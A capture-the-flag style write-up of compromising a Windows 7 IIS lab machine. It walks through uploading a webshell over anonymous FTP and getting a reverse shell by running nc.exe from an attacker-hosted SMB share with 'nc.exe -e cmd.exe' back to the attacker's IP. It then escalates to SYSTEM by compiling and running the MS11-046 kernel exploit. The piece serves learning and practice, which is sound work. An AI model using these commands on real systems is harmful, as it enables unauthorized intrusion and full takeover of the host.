This was a simple box, but I did run into a curve-ball when getting my initial foothold. I’m rating this as an easy box since the privilege escalation piece was simple when utilizing a kernel exploit, and the the initial way in isn’t super realistic.
Table of Contents:
- Enumeration and Initial Foothold
- Turning Command Execution to Reverse Shell
- Privilege Escalation
- Key Takeaways
Enumeration and Initial Foothold
To start out, let’s run a nmap scan to see what ports are open on the box. This is the command I use, but you can use whatever you like best.
nmap -T4 -sV -sC 10.10.10.5 -oA /nmap
From the output of the scan, we see that FTP on port 21 is open to anonymous login. We also see that there are some files present; iisstart.html & welcome.png.
Port 80 is open and running Microsoft IIS 7.5, a webserver. Let’s open a browser and see what we see at that page.
After viewing the page source, we see that the website is just pulling up welcome.png as the image. Remember how we saw that file on the FTP server from the nmap output?
Let’s connect to the FTP client & see if we can add files to the website.
echo Hello > test.txt
Now let’s attempt to browse to our test file.
Great! So we found that we can upload our own webpage to this IIS webserver, and then execute that webpage by browsing to it. IIS runs code in asp/aspx, so my next thought was to create an asp/aspx payload to get a reverse shell connection. I created an aspx payload through msfvenom, but I was unable to get a reverse shell this way.
Finally, I found Kali has a built-in aspx webshell located in our webshells directory. Let’s copy this down to our present working directory.
cp /usr/share/webshells/aspx/cmdasp.aspx .
Let’s connect back to the FTP client and upload this webshell.
If things worked, we should be able to browse to this webshell by navigating to the following page: http://10.10.10.5/cmdasp.aspx
Alright cool, we see the page. Let’s run
dir to see if we actually have command execution, and if we do, what directory we’re in.
Perfect! So we’ve got the ability to execute commands on the system. Let’s run a quick ping test to make sure we’re able to communicate from this system to ours.
I started a quick tcpdump to capture ICMP requests to/from my VPN connection using the below command, and then execute the ping command in our webshell.
tcpdump -i tun0 -n icmp
The output confirms that our box received a ping request from the webserver — great! So we have command execution and can communicate to/from the box, but how do we turn this into an interactive reverse shell?
Turning Command Execution to Reverse Shell
I attempted a few things from here:
- Attempted another asp/aspx shell.
- Transferred the windows binary for nc.exe and attempted to execute locally on the disk.
- Created my own malicous exe via msfvenom, transferred that to the box, and attempted to execute locally on the disk.
No matter what I tried, I kept running into an error.. “This program cannot be run in DOS mode”.
So if we can’t execute malicous code directly on the disk of the machine, how else can we get our code to run? I chose to try hosting my own SMB server first. My thought was perhaps we could execute a malicious file from a network share, and load it straight into memory. Kali has a built-in SMB server through a python script. Lets locate that and copy it into our current working directory.
cp /usr/share/doc/python-impacket/examples/smbserver.py .
In order to use this SMB server, we need to first create a directory to host as a fileshare. I’ll name mine something simple, “smb”.
Now let’s find the Windows binary for Netcat and copy it to this directory we just made.
cp /usr/share/windows-binaries/nc.exe smb
Looks like we’ve got everything in place! Let’s spin up the server to a fileshare named “share” using the following command.
python smbserver.py share smb
With our SMB server in place hosting the Windows binary to Netcat, we’re almost ready to instruct the webserver to connect to us. But first, we must spin up a Netcat listener to catch the connection request.
Everything’s set up! Let’s head back to the cmdasp webshell and run the following command. If all goes well, we should receive a reverse shell back.
\\10.10.14.45\share\nc.exe -e cmd.exe 10.10.14.45 8080
Looking at the results, we do see the SMB request in our terminal window hosting nc.exe. We also see that we’ve received a reverse shell in our Netcat listener! Let’s run
whoami to see what rights we have. We see that we’re not SYSTEM, so our job isn’t done yet..
We’re on the machine, but we don’t have complete control of it yet. Let’s get some information about the computer to see what we’re working with.
Alright, so we’re working with a 32-bit Windows 7 machine. Usually, this command will also return a list of installed patches, but nothing was returned here. Does this mean that the machine is missing all patches? Surely there’s some sort of old Win7 privilege escalation exploit that would work on an unpatched box..
There’s a tool called Watson that will scan a system to find any local privilege escalation exploits that may exist on a machine. You can download the tool from https://github.com/rasta-mouse/Watson.
This is a super awesome tool, but there are a couple caveats.
- First, it’s written in C#. This means that we’ll need to open Watson in Visual Studio, an application not available in Kali Linux. I’ve installed this on my Windows box.
- Secondly, the current version of Watson is not compatible with Windows 7. This means we’ll need to dig through the Commits on the Github to download the original release of the application if we want to run it on our target machine.
We’ll need to make sure to compile Watson using the correct configuration for our target machine. Back in our reverse shell, let’s query the registry to see what version of .NET we’re running.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
We see that the box is running .NET 2.0, 3.0, and 3.5. Now we know how to compile the Watson script. I set my Windows machine up with the Visual Studio Community edition, and opened
Watson.sln from the Github page. With the project loaded, let’s go to Project, and select Watson Properties.
We’ll need to adjust the Target Framework to patch our target machine. The latest installed on our victim is 3.5, so this is what we’ll select.
We also need to adjust the architecture to match our victim machine. Let’s go into Build, and launch Configuration Manager.
We’ll change the Configuration to Release, and Platform to x86, the same as our victim machine.
Finally, let’s select the Build drop-down again and click Build Watson. The output at the bottom of the window should show you the file location this was built to.
Let’s copy that over to our Kali machine, host it in the SMB fileshare directory, and then execute it on our victim the same way we did Netcat.
We see a TON of exploits available on this box. After researching each one, I decided to try out MS11-046. Since the exploit is listed in Exploit-DB, we should have it locally on our box already. Let’s find it on our system and copy it to our present working directory.
cp /usr/share/exploitdb/exploits/windows_x86/local/40564.c .
Let’s view the source code to get an idea of how the exploit works. We also find that the author provides compiling instructions.
Using those instructions, let’s compile the code.
i686-w64-mingw32-gcc 40564.c -o MS11-046.exe -lws2_32
Now that we have our privesc executable, let’s move that into our SMB file-share so we can transfer it to the victim.
mv MS11-046.exe smb
Back in our reverse shell, let’s execute our payload. We see that we’re now presented with a shell in the System32 directory.
whoami command confirms that we now have full SYSTEM access.
- Even when you can’t write and execute code directly from disk, remember that there are other methods to pull down files.
- While Watson may take a little bit of work to get compiled, the benefits are great as it automates the post exploitation enumeration process.
- Anonymous logins are bad — mm.kay?